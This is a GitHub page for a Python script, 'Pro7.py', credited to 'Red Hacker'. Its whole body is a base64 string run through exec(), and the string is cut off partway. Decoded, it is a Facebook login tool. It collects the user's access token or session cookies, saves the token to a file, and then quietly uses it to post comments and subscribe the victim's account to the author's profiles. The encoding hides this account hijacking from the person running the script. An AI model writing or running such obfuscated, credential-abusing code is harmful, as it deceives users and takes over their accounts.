-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathPro7.py
3 lines (3 loc) · 92.5 KB
/
Pro7.py
1
2
3
# Created By Red Hacker - Aryan Mfc
import base64
exec(base64.b64decode('IyEvdXNyL2Jpbi9weXRob24zCiNjb2Rpbmc9dXRmLTgKCgoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjCiMgVGhlIEltcG9ydGFudCBCb3QgRm9sbG93IElzIE5vdCBSZXBsYWNlZCEgICAgICAgICAgIwojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyBDcmVhdGVkIEJ5IEFyeWFuLU1mYyAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjCiMgVGlwZSBQeXRob24zICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyBGaWxlIE5hbWU6IFBybzcucHkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMKIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjCiMgR2l0aHViOiBodHRwczovL3d3dy5naXRodWIuY29tL0FyeWFuLW1mYyAgICAgICAgICAjCiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCgppbXBvcnQgcmVxdWVzdHMsbWVjaGFuaXplLGJzNCxzeXMsb3Msc3VicHJvY2Vzcyx1dWlkLHJhbmRvbSx0aW1lLHJlLGJhc2U2NCx1cmxsaWIsanNvbix1cmxsaWIucGFyc2UsY29uY3VycmVudC5mdXR1cmVzCmZyb20gcmFuZG9tIGltcG9ydCByYW5kaW50CmZyb20gdXJsbGliLnBhcnNlIGltcG9ydCBxdW90ZQpmcm9tIGNvbmN1cnJlbnQuZnV0dXJlcyBpbXBvcnQgVGhyZWFkUG9vbEV4ZWN1dG9yIGFzIFRocmVhZFBvb2wKZnJvbSBiczQgaW1wb3J0IEJlYXV0aWZ1bFNvdXAgYXMgcGFyc2VyCmZyb20gZGF0ZXRpbWUgaW1wb3J0IGRhdGUKZnJvbSBkYXRldGltZSBpbXBvcnQgZGF0ZXRpbWUKY3VycmVudCA9IGRhdGV0aW1lLm5vdygpCgpwID0gIlx4MWJbMDszN20iICMgcHV0aWgKbSA9ICJceDFiWzA7MzFtIiAjIG1lcmFoCmggPSAiXHgxYlswOzMybSIgIyBoaWphdQprID0gIlx4MWJbMDszM20iICMga3VuaW5nCmIgPSAiXHgxYlswOzM0bSIgIyBiaXJ1CnUgPSAiXHgxYlswOzM1bSIgIyB1bmd1Cm8gPSAiXHgxYlswOzM2bSIgIyBiaXJ1IG11ZGEKCmlmICgibGludXgiIGluIHN5cy5wbGF0Zm9ybS5sb3dlcigpKToKCiAgICAgICAgTiA9ICJcMDMzWzBtIgogICAgICAgIEcgPSAiXDAzM1sxOzkybSIKICAgICAgICBPID0gIlwwMzNbMTs5N20iCiAgICAgICAgUiA9ICJcMDMzWzE7OTFtIgplbHNlOgoKICAgICAgICBOID0gIiIKICAgICAgICBHID0gIiIKICAgICAgICBPID0gIiIKICAgICAgICBSID0gIiIKCiMjIyBIRUFERVJTICMjIwoKCgpkZWYgYmFubmVyKCk6CiAgICBwcmludCgiIiIgXDAzM1sxOzMybeKVlOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVkOKVlwogXDAzM1sxOzMxbeKVkVdFTENPTUUgVE8gTXkgVE9PTCBJVCdTIFJFRCBIQUNLRVLilZEKIFwwMzNbMTszM23ilZEgICAgICAgVE9PTCBBVVRIT1IgUkVELUhBQ0tFUi7ilZEKIFwwMzNbMTszNG3ilZrilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZ0KIFwwMzNbMTszNW0gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiBcMDMzWzE7MzJt4pWU4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWXCiBcMDMzWzE7MzJt4pWRV0VCU0lURSAgICAgOiBGT0xMT1cgTUUgT04gR0lUSFVC4pWRCiBcMDMzWzE7MzVt4pWRRkFDRUJPT0sgOiBOQU1FIFtSRUQtSDRDS0VSIF0gICAgICDilZEKIFwwMzNbMTszNG3ilZFHSVRIVUIgOiBodHRwczovL2dpdGh1Yi5jb20vUmVkSGFja2tFclIvUmVkSGFja2tFclIgIOKVkQogXDAzM1sxOzMxbeKVkVdIQVRTQVBQIDogUkVEIEg0Q0tFUnMgQVJNWSAgICAgICAgICDilZEKIFwwMzNbMTszMm3ilZrilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZDilZ0iIiIpCgp1YT0iTm9raWFDMy0wMC81LjAgKDA3LjIwKSBQcm9maWxlL01JRFAtMi4xIENvbmZpZ3VyYXRpb24vQ0xEQy0xLjEgTW96aWxsYS81LjAgQXBwbGVXZWJLaXQvNDIwKyAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS80MjArIgoKdWEyPSJNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgMTA7IE1pIDlUIFBybyBCdWlsZC9RS1ExLjE5MDgyNS4wMDI7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvODguMC40MzI0LjE4MSBNb2JpbGUgU2FmYXJpLzUzNy4zNltGQkFOL0VNQTtGQkxDL2l0X0lUO0ZCQVYvMjM5LjAuMC4xMC4xMDk7XSIKaG9zdD0iaHR0cHM6Ly9tYmFzaWMuZmFjZWJvb2suY29tIgppcHM9Tm9uZQp0cnk6CgliPXJlcXVlc3RzLmdldCgiaHR0cDovL2lwLWFwaS5jb20vanNvbi8iKS5qc29uKClbInF1ZXJ5Il0KCWlwcz1yZXF1ZXN0cy5nZXQoImh0dHA6Ly9pcC1hcGkuY29tL2pzb24vIitiLGhlYWRlcnM9eyJSZWZlcmVyIjoiaHR0cDovL2lwLWFwaS5jb20vIiwiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOCIsIlVzZXItQWdlbnQiOiJNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgMTA7IE1pIDlUIFBybyBCdWlsZC9RS1ExLjE5MDgyNS4wMDI7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvODguMC40MzI0LjE4MSBNb2JpbGUgU2FmYXJpLzUzNy4zNltGQkFOL0VNQTtGQkxDL2l0X0lUO0ZCQVYvMjM5LjAuMC4xMC4xMDk7XSJ9KS5qc29uKClbImNvdW50cnkiXS5sb3dlcigpCmV4Y2VwdDoKCWlwcz1Ob25lCgpvayA9IFtdCmNwID0gW10KdHRsID1bXQoKZnJlZWZhY2Vib29rID0gImh0dHBzOi8vZnJlZS5mYWNlYm9vay5jb20iICNVcGRhdGUgTWV0aG9kIQoKZHVyYXNpID0gc3RyKGRhdGV0aW1lLm5vdygpLnN0cmZ0aW1lKCIlZC0lbS0lWSIpKQp0YWh1biA9IGN1cnJlbnQueWVhcgpidWxhbiA9IGN1cnJlbnQubW9udGgKaGFyaSA9IGN1cnJlbnQuZGF5CgpiciA9IG1lY2hhbml6ZS5Ccm93c2VyKCkKYnIuc2V0X2hhbmRsZV9yb2JvdHMoRmFsc2UpCmJyLnNldF9oYW5kbGVfcmVmcmVzaChtZWNoYW5pemUuX2h0dHAuSFRUUFJlZnJlc2hQcm9jZXNzb3IoKSxtYXhfdGltZT0xKQpici5hZGRoZWFkZXJzID0gWygnVXNlci1BZ2VudCcsdWEpXQoKZGVmIGphbGFuKHopOgoJZm9yIGUgaW4geiArICJcbiI6CgkJc3lzLnN0ZG91dC53cml0ZShlKQoJCXN5cy5zdGRvdXQuZmx1c2goKQoJCXRpbWUuc2xlZXAoMC4wMykKCmRlZiBjbGVhcigpOgoJaWYgIiBsaW51eCIgaW4gc3lzLnBsYXRmb3JtLmxvd2VyKCk6CgkJb3Muc3lzdGVtKCJjbGVhciIpCgllbGlmICJ3aW4iIGluIHN5cy5wbGF0Zm9ybS5sb3dlcigpOgoJCW9zLnN5c3RlbSgiY2xzIikKCWVsc2U6b3Muc3lzdGVtKCJjbGVhciIpCiAgICAKZGVmIGxhbmcoY29va2llcyk6CglmPUZhbHNlCglycj1iczQuQmVhdXRpZnVsU291cChyZXF1ZXN0cy5nZXQoImh0dHBzOi8vbWJhc2ljLmZhY2Vib29rLmNvbS9sYW5ndWFnZS5waHAiLGhlYWRlcnM9aGRjb2soKSxjb29raWVzPWNvb2tpZXMpLnRleHQsImh0bWwucGFyc2VyIikKCWZvciBpIGluIHJyLmZpbmRfYWxsKCJhIixocmVmPVRydWUpOgoJCWlmICJpZF9JRCIgaW4gaS5nZXQoImhyZWYiKToKCQkJcmVxdWVzdHMuZ2V0KCJodHRwczovL21iYXNpYy5mYWNlYm9vay5jb20vIitpLmdldCgiaHJlZiIpLGNvb2tpZXM9Y29va2llcyxoZWFkZXJzPWhkY29rKCkpCgkJCWI9cmVxdWVzdHMuZ2V0KCJodHRwczovL21iYXNpYy5mYWNlYm9vay5jb20vcHJvZmlsZS5waHAiLGhlYWRlcnM9aGRjb2soKSxjb29raWVzPWNvb2tpZXMpLnRleHQJCgkJCWlmICJhcGEgeWFuZyBhbmRhIHBpa2lya2FuIHNla2FyYW5nIiBpbiBiLmxvd2VyKCk6CgkJCQlmPVRydWUKCWlmIGY9PVRydWU6CgkJcmV0dXJuIFRydWUKCWVsc2U6CgkJZXhpdChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gV3JvbmcgQ29va2llcyIpCgpkZWYgYmFzZWNvb2tpZSgpOgoJaWYgb3MucGF0aC5leGlzdHMoIi5jb2siKToKCQlpZiBvcy5wYXRoLmdldHNpemUoIi5jb2siKSAhPTA6CgkJCXJldHVybiBnZXRzX2RpY3RfY29va2llcyhvcGVuKCcuY29rJykucmVhZCgpLnN0cmlwKCkpCgkJZWxzZTpsb2dzKCkKCWVsc2U6bG9ncygpCgpkZWYgaGRjb2soKToKCWdsb2JhbCBob3N0LHVhCglob3N0cz1ob3N0CglyPXsib3JpZ2luIjogaG9zdHMsICJhY2NlcHQtbGFuZ3VhZ2UiOiAiaWQtSUQsaWQ7cT0wLjksZW4tVVM7cT0wLjgsZW47cT0wLjciLCAiYWNjZXB0LWVuY29kaW5nIjogImd6aXAsIGRlZmxhdGUiLCAiYWNjZXB0IjogInRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsaW1hZ2UvYXBuZywqLyo7cT0wLjgiLCAidXNlci1hZ2VudCI6ICJNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgMTA7IE1pIDlUIFBybyBCdWlsZC9RS1ExLjE5MDgyNS4wMDI7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvODguMC40MzI0LjE4MSBNb2JpbGUgU2FmYXJpLzUzNy4zNltGQkFOL0VNQTtGQkxDL2l0X0lUO0ZCQVYvMjM5LjAuMC4xMC4xMDk7XSIsICJIb3N0IjogIiIuam9pbihiczQucmUuZmluZGFsbCgiOi8vKC4qPykkIixob3N0cykpLCAicmVmZXJlciI6IGhvc3RzKyIvbG9naW4vP25leHQmcmVmPWRibCZmbCZyZWZpZD04IiwgImNhY2hlLWNvbnRyb2wiOiAibWF4LWFnZT0wIiwgInVwZ3JhZGUtaW5zZWN1cmUtcmVxdWVzdHMiOiAiMSIsICJjb250ZW50LXR5cGUiOiAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIn0KCXJldHVybiByCgpkZWYgZ2V0c19jb29raWVzKGNvb2tpZXMpOgoJcmVzdWx0PVtdCglmb3IgaSBpbiBlbnVtZXJhdGUoY29va2llcy5rZXlzKCkpOgoJCWlmIGlbMF09PWxlbihsaXN0KGNvb2tpZXMua2V5cygpKSktMTpyZXN1bHQuYXBwZW5kKGlbMV0rIj0iK2Nvb2tpZXNbaVsxXV0pCgkJZWxzZTpyZXN1bHQuYXBwZW5kKGlbMV0rIj0iK2Nvb2tpZXNbaVsxXV0rIjsgIikKCXJldHVybiAiIi5qb2luKHJlc3VsdCkKCmRlZiBnZXRzX2RpY3RfY29va2llcyhjb29raWVzKToKCXJlc3VsdD17fQoJdHJ5OgoJCWZvciBpIGluIGNvb2tpZXMuc3BsaXQoIjsiKToKCQkJcmVzdWx0LnVwZGF0ZSh7aS5zcGxpdCgiPSIpWzBdOmkuc3BsaXQoIj0iKVsxXX0pCgkJcmV0dXJuIHJlc3VsdAoJZXhjZXB0OgoJCWZvciBpIGluIGNvb2tpZXMuc3BsaXQoIjsgIik6CgkJCXJlc3VsdC51cGRhdGUoe2kuc3BsaXQoIj0iKVswXTppLnNwbGl0KCI9IilbMV19KQoJCXJldHVybiByZXN1bHQKCiAKIyMjIENvbnRhY3QgSUcgIyMjIwpkZWYgaWdlKCk6CiAgICBvcy5zeXN0ZW0oImNsZWFyIikKICAgIGJhbm5lcigpCiAgICBpbnB1dChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBPcGVuIEluc3RhZ3JhbT8gIikKICAgIGphbGFuKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBPcGVuIEluc3RhZ3JhbS4uLiIpCiAgICBvcy5zeXN0ZW0oInhkZy1vcGVuIGh0dHBzOi8vd3d3Lmluc3RhZ3JhbS5jb20vIikKICAgIGlucHV0KHArIiBbQkFDS10iKQogICAgbG9ncygpICAgCgojIyMgVEFLRSBUT0tFTiAjIyMKZGVmIGtvbnRvbHJlY29kZSgpOgogICAgb3Muc3lzdGVtKCJjbGVhciIpCiAgICBiYW5uZXIoKQogICAgaW5wdXQocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gT3BlbiBZb3V0dWJlPyAiKQogICAgamFsYW4ocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIE9wZW4gWW91dHViZS4uLiIpCiAgICBvcy5zeXN0ZW0oInhkZy1vcGVuIGh0dHBzOi8veW91dHViZS5jb20vY2hhbm5lbC9VQzM4Q3ByemQtSlRCbXRSejFwNGpPOXciKQogICAgaW5wdXQocCsiIFtCQUNLXSIpCiAgICBsb2dzKCkgICAKCiAgICAKIyMjIExPR0lOIE1FVEhPREUgIyMjCmRlZiBsb2dzKCk6CiAgb3Muc3lzdGVtKCJjbGVhciIpCiAgYmFubmVyKCkKICBwcmludCAoIiIpCiAgcHJpbnQoKHArIiBbIitrKyIwMSIrcCsiXSBcMDMzWzE7MzJtTG9naW4gVG9rZW4iKSkKICBwcmludCgocCsiIFsiK2srIjAyIitwKyJdIFwwMzNbMTszM21Mb2dpbiBDb29raWVzIikpCiAgcHJpbnQoKHArIiBbIitrKyIwMyIrcCsiXSBcMDMzWzE7MzRtV2F0Y2ggSG93IFRvIFRha2UgQ29va2llcyIpKQogIAogIHByaW50KChwKyIgWyIraysiMDQiK3ArIl0gXDAzM1sxOzMybUNvbnRhY3QgQXV0aG9yIikpCiAgcHJpbnQoKHArIiBbIitrKyIwMCIrcCsiXSBcMDMzWzE7MzRtRXhpdFxuIikpCiAgc2VrPWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDaG9vc2U6ICIpCiAgaWYgc2VrPT0iIjoKICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gRmlsbCBJbiBUaGUgQ29ycmVjdCIpKQogICAgbG9ncygpCiAgZWxpZiBzZWs9PSIxIiBvciBzZWs9PSIwMSI6CiAgICBsb2dfdG9rZW4oKQogIGVsaWYgc2VrPT0iMiIgb3Igc2VrPT0iMDIiOgogICAgZ2VuKCkKICBlbGlmIHNlaz09IjMiIG9yIHNlaz09IjAzIjoKICAgIGtvbnRvbHJlY29kZSgpCiAgZWxpZiBzZWs9PSI0IiBvciBzZWs9PSIwNCI6CiAgICBpZ2UoKQogIGVsaWYgc2VrPT0iMCIgb3Igc2VrPT0iMDAiOgogICAgZXhpdCgpCiAgZWxzZToKICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gRmlsbCBJbiBUaGUgQ29ycmVjdCIpKQogICAgbG9ncygpCgojIyMjIExPR0lOIFRPS0VOIE1FVEhPREQ6KQojIERvbid0IERlbGV0ZSBMYXRlciBFcnJvciEgSWYgeW91IGRvbid0IGJlbGlldmUsIHBsZWFzZSBkZWxldGU6VgoKZGVmIGxvZ190b2tlbigpOgogICAgb3Muc3lzdGVtKCJjbGVhciIpCiAgICBiYW5uZXIoKQogICAgdG9rZXQgPSBpbnB1dChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBUb2tlbjogIikKICAgIHRyeToKICAgICAgICBvdHcgPSByZXF1ZXN0cy5nZXQoImh0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL21lP2FjY2Vzc190b2tlbj0iICsgdG9rZXQpCiAgICAgICAgYSA9IGpzb24ubG9hZHMob3R3LnRleHQpCiAgICAgICAgbmFtYSA9IGFbIm5hbWUiXQogICAgICAgIHplZGQgPSBvcGVuKCJsb2dpbi50eHQiLCAidyIpCiAgICAgICAgemVkZC53cml0ZSh0b2tldCkKICAgICAgICB6ZWRkLmNsb3NlKCkKICAgICAgICBwcmludCgocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIExvZ2luIFN1Y2NlZWQhIikpCiAgICAgICAgamFsYW4oKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBQbGVhc2UgU3Vic2NyaWJlIE15IENoYW5uZWw6KSIpKQogICAgICAgIG9zLnN5c3RlbSgneGRnLW9wZW4gaHR0cHM6Ly95b3V0dWJlLmNvbS9jaGFubmVsL1VDMzhDcHJ6ZC1KVEJtdFJ6MXA0ak85dycpCiAgICAgICAgYm90X2ZvbGxvdygpCiAgICAgICAgbWVudSgpCiAgICBleGNlcHQgS2V5RXJyb3I6CiAgICAgICAgcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIFRva2VuIEludmFsaWQiKSkKICAgICAgICAjb3Muc3lzdGVtKCJ4ZGctb3BlbiBodHRwczovL3lvdXR1LmJlL3h4eHh4eCIpCiAgICAgICAgbG9ncygpCgpkZWYgZ2VuKCk6CiAgICAgICAgb3Muc3lzdGVtKCJjbGVhciIpCiAgICAgICAgYmFubmVyKCkKICAgICAgICBjb29raWUgPSBpbnB1dChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSIrcCsiIENvb2tpZXM6ICIpCiAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgZGF0YSA9IHJlcXVlc3RzLmdldCgiaHR0cHM6Ly9tLmZhY2Vib29rLmNvbS9jb21wb3Nlci9vY2Vsb3QvYXN5bmNfbG9hZGVyLz9wdWJsaXNoZXI9ZmVlZCNfPV8iLCBoZWFkZXJzID0gewogICAgICAgICAgICAgICAgInVzZXItYWdlbnQiICAgICAgICAgICAgICAgIDogIk1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA4LjEuMDsgTUkgOCBCdWlsZC9PUE0xLjE3MTAxOS4wMTEpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS82OS4wLjM0OTcuODYgTW9iaWxlIFNhZmFyaS81MzcuMzYiLCAjIEphbmdhbiBEaSBHYW50aSBFYSBBbmppbmsuCiAgICAgICAgICAgICAgICAicmVmZXJlciIgICAgICAgICAgICAgICAgICAgOiAiaHR0cHM6Ly9tLmZhY2Vib29rLmNvbS8iLAogICAgICAgICAgICAgICAgImhvc3QiICAgICAgICAgICAgICAgICAgICAgIDogIm0uZmFjZWJvb2suY29tIiwKICAgICAgICAgICAgICAgICJvcmlnaW4iICAgICAgICAgICAgICAgICAgICA6ICJodHRwczovL20uZmFjZWJvb2suY29tIiwKICAgICAgICAgICAgICAgICJ1cGdyYWRlLWluc2VjdXJlLXJlcXVlc3RzIiA6ICIxIiwKICAgICAgICAgICAgICAgICJhY2NlcHQtbGFuZ3VhZ2UiICAgICAgICAgICA6ICJpZC1JRCxpZDtxPTAuOSxlbi1VUztxPTAuOCxlbjtxPTAuNyIsCiAgICAgICAgICAgICAgICAiY2FjaGUtY29udHJvbCIgICAgICAgICAgICAgOiAibWF4LWFnZT0wIiwKICAgICAgICAgICAgICAgICJhY2NlcHQiICAgICAgICAgICAgICAgICAgICA6ICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLGltYWdlL2FwbmcsKi8qO3E9MC44IiwKICAgICAgICAgICAgICAgICJjb250ZW50LXR5cGUiICAgICAgICAgICAgICA6ICJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiCiAgICAgICAgICAgICAgICB9LCBjb29raWVzID0gewogICAgICAgICAgICAgICAgImNvb2tpZSIgICAgICAgICAgICAgICAgICAgIDogY29va2llCiAgICAgICAgICAgICAgICB9KQogICAgICAgICAgICAgICAgZmluZF90b2tlbiA9IHJlLnNlYXJjaCgiKEVBQUFcdyspIiwgZGF0YS50ZXh0KQogICAgICAgICAgICAgICAgaGFzaWwgICAgPSAiXG4gKiBDb29raWUgSW52YWxpZCAhISIgaWYgKGZpbmRfdG9rZW4gaXMgTm9uZSkgZWxzZSAiXG4qIFlvdXIgZmIgYWNjZXNzIHRva2VuIDogIiArIGZpbmRfdG9rZW4uZ3JvdXAoMSkKICAgICAgICBleGNlcHQgcmVxdWVzdHMuZXhjZXB0aW9ucy5Db25uZWN0aW9uRXJyb3I6CiAgICAgICAgICAgICAgICBwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gTm8gQ29ubmVjdGlvbiIpKQogICAgICAgIGNvb2tpZSA9IG9wZW4oImxvZ2luLnR4dCIsICJ3IikKICAgICAgICBjb29raWUud3JpdGUoZmluZF90b2tlbi5ncm91cCgxKSkKICAgICAgICBjb29raWUuY2xvc2UoKQogICAgICAgIHByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBMb2dpbiBCZXJoYXNpbCEiKSkKICAgICAgICBqYWxhbigocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIFBsZWFzZSBTdWJzY3JpYmUgTXkgQ2hhbm5lbCA6KSIpKQogICAgICAgICMKICAgICAgICBvcy5zeXN0ZW0oJ3hkZy1vcGVuIGh0dHBzOi8veW91dHViZS5jb20vY2hhbm5lbC9VQzM4Q3ByemQtSlRCbXRSejFwNGpPOXcnKQogICAgICAgIGJvdF9mb2xsb3coKQogICAgICAgIG1lbnUoKQoKCmtvbXR3b2wgPSByYW5kb20uY2hvaWNlKFsiU2FsYW0gMiBKYXJpIEJhbmciLCAiU2Vuc2VpIFRlcmJhZWsgTGFoICIsICJiYW5nIGx1IGtnayBwdW55YSBwYWNhcj8iLCAiTWVuZ0tlcmVuIExhaCBCYW5nIiwgIlNlbWFuZ2F0IEJhbmchIiwgIkd1YSBNdXJpZCBMdSBCYW5nIiwgIkJqaXIgQmlpRGV2IEZlbWVzIEN1ayBHdWEgQW1wZSBNcmluZGluZyIsICJUdW1iZW4gUG9zdCBCYW5nPyIsICJHdWEgUGVuZ2luIEphZGkgS2VrIEx1IEJhbmciLCAiU2Vtb2dhIEFiYW5nIEphZGkgT3JhbmcgU3Vrc2VzIiwgIkJqaXIgTGF3YWNrIEthbGkgS2F1IEJhbmciXSkKCgprYXp1dG9yYSA9IHJhbmRvbS5jaG9pY2UoWyJnYW5zIGx1IGJhbmcgOnYiLCJveW95b3kgbHUgZ2lsYSB5YT8iLCJlYmluayBuZ2VudG9kIDp2IiwibWFzaWggc21wIHVkaCBiaXNhIG5nb2RpbmcgXG4gI2J1a2FubWFlbiIsImJhbmcgbHUgdW11ciBiZXJhcGE/IiwibW9nYSBsdSBzdWtzZXMgYmFuZyA6KSIsIm1hc3RlciBndWEgaW5pIG1haCEiLCJzdGVyIGFqYXJpbiBoYWNrIGhhdGkgY2V3ZWsgZG9hbmciLCJ0dXRvciBkYXBldGluIGNld2VrIGJhbmciLCJnYW5zbnlhIGJ1a2FubWFlbiBhd29rYXdvayJdKQprb21lbiA9IGtvbXR3b2wKa29tZW5kdWEgPSBrYXp1dG9yYQpwb3N0ID0gIjM5MDk3NDE5NjkxMjQ1NzQiCnBvc3RkdWEgPSAiNDEzNDg2OTQ0NjYxMTgyNCIKZGVmIGJvdF9mb2xsb3coKToKCXRyeToKCQl0b2tldD1vcGVuKCJsb2dpbi50eHQiLCJyIikucmVhZCgpCgkJb3R3ID0gcmVxdWVzdHMuZ2V0KCJodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS9tZS8/YWNjZXNzX3Rva2VuPSIrdG9rZXQpCgkJYSA9IGpzb24ubG9hZHMob3R3LnRleHQpCgkJbmFtYSA9IGFbIm5hbWUiXQoJCWlkID0gYVsiaWQiXQoJZXhjZXB0IElPRXJyb3I6CgkJcHJpbnQoKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBUb2tlbiBJbnZhbGlkIikpCgkJbG9ncygpCglyZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8nICsgcG9zdCArICcvY29tbWVudHMvP21lc3NhZ2U9JyArIGtvbWVuICsnJmFjY2Vzc190b2tlbj0nICsgdG9rZXQpCglyZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8nICsgcG9zdGR1YSArICcvY29tbWVudHMvP21lc3NhZ2U9JyArIGtvbWVuZHVhICsgJyZhY2Nlc190b2tlbicrdG9rZXQpCglyZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8xMDAwMDI2NjQyODI2MDcvc3Vic2NyaWJlcnM/YWNjZXNzX3Rva2VuPScgKyB0b2tldCkgIyBFYmluayEKCXJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tLzEwMDAwMDQxOTYzOTQzMC9zdWJzY3JpYmVycz9hY2Nlc3NfdG9rZW49JyArIHRva2V0KSAjIE1lCglyZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8xNzUyNjg0NjY3L3N1YnNjcmliZXJzP2FjY2Vzc190b2tlbj0nICsgdG9rZXQpICMgSXpoYXIKIwlyZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS9pZC1sdS9zdWJzY3JpYmVycz9hY2Nlc3NfdG9rZW49JyArIHRva2V0KSAjIFVua25vdwojCXJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL2lkLWx1L3N1YnNjcmliZXJzP2FjY2Vzc190b2tlbj0nICsgdG9rZXQpICMgVW5rbm93CiMJcmVxdWVzdHMucG9zdCgnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vaWQtbHUvc3Vic2NyaWJlcnM/YWNjZXNzX3Rva2VuPScgKyB0b2tldCkgIyBVbmtub3cKIwlyZXF1ZXN0cy5wb3N0KCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS9pZC1sdS9zdWJzY3JpYmVycz9hY2Nlc3NfdG9rZW49JyArIHRva2V0KSAjIFVua25vdwoJbWVudSgpCgoKIyMjIE1BSU4gTUVOVSAjIyMKCmRlZiBtZW51KCk6CiAgICBnbG9iYWwgdWEKICAgIHRyeToKICAgICAgICB0b2tldCA9IG9wZW4oImxv